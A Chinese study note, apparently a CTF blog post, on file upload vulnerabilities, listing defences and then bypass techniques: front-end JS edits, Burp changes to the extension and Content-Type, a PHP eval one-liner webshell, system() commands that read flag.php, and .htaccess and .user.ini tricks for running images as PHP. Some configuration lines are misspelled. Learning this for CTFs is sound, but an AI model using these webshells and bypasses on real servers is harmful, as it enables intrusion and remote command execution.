文件上传及比较常见的题目解析

  • 文件上传漏洞

    • 程序员对未上传的文件进行严格的厌憎和过滤,导致用户可以上传可执行的动态脚本文件
      • 头像上传、文件上传、媒体上传
    • 防御措施

      • 上传文件的存储位置与服务器分离
      • 上传文件重新修改文件名、文件后缀名
        • 看后缀名是否防止修改
          • 前端传递,后端校验
      • 文件上传的上传保存路径根据业务进行分离;下载根据重新生成的文件名下载
    • 文件上传,验证/绕过,措施

      • 前端/js类绕过

        • 页面直接修改js上传文件后缀进行修改
        • 抓包改包,改后缀名
          • wenjain.jpg-->抓包-->wenjian.jsp
      • 后端
        *

php语句不对,重写(关火绒)

js前端

查看元素

修改后缀php

上传,文件路径

post

x=system("ls");

查到目录,用x=system("ls ../");

查看上一级,找到flag.php

x=system("tac ../flag.php");


利用bp改content-type

首先,尝试第一种方法,不可行

用bp抓包,发现content-type特点

尝试修改元素后上传php一句话木马

抓包,修改type为image/png

放行

上传成功

按第一步来

x=system("tac ../flag.php");

flag出现

如果把下面的png格式修改为

<?php eval($_POSTx);?>

是不可以找到flag的

不可以是图片木马

不能连接蚁剑,一个png一个php


.htaccess文件

apache的一个配置文件,负责相关目录下的网页配置

实现网页301重定向,自定义404页面错误,改变文件扩展名,允许或阻止特定的用户或目录的访问,禁止目录列表,配置默认文档等

<fileMatch "\.jpg>

SEHandler application/x-httpd-php

</FileMatch>

先分析源码

对php,asp,jsp等进行过滤,大小写的方式也不行

phP&&php5不行的话

但是可以上传.jpg文件,可是 .jpg只有解析成 php文件才能getshell

因此我们需要先上传 .htaccess 文件,然后再上传 .jpg文件

stack.jpg

<?php eval($_POST['x']);?>

找绝对路径,连接蚁剑

.user.ini其实是用户自定义的一个php.ini

是PHP的全局配置文件,对web服务起作用

利用这个文件来构造后门和隐藏后门

按前面方法继续尝试,发现不行,大小写,加数字,也不可以,需要重新下载

相关推荐
晴空蓝天37 分钟前
uniapp 上传图片别裸传:我给每个上传都加了个 biz 参数
小程序·uniapp·文件上传
玫幽倩1 天前
2026第二届湾区杯网络安全大赛决赛(AI专项赛道静态题wp)
pytorch·python·ai·agent·ctf·rag·湾区杯
落寞的魚丶3 天前
2026年浙江省信息通信业职业技能竞赛(信息安全测试员竞赛) 初赛Wireup
ctf·鱼影安全·2026网络安全通信行业·信息安全测试员竞赛·通信职业技能大赛
合天网安实验室8 天前
Modbus协议及其取证的学习笔记
ctf·modbus·通信协议·取证
努力的lpp8 天前
php反序列化一(大白话版)
开发语言·web安全·php·ctf·反序列化
蒲公英eric9 天前
从直接重定向到白名单验证:DVWA 开放重定向模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·开放重定向模块
滨哥GPT9 天前
Codex新增文件上传后为什么小文件正常,大文件总失败?Multipart、Body Limit与Nginx限制排查
nginx·ai编程·文件上传·codex·multipart
FungLeo10 天前
成为全栈·Node 后端篇·文件上传:R2 / 本地磁盘双实现与签名直传
node.js·文件上传·成为全栈·cloudflare r2·文件去重
蒲公英eric11 天前
从页面检查到功能验证:DVWA 授权绕过模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·授权绕过模块
Sagittarius_A*12 天前
[LitCTF 2026] lit_elgamal_handshake
密码学·ctf·crypto·elgamal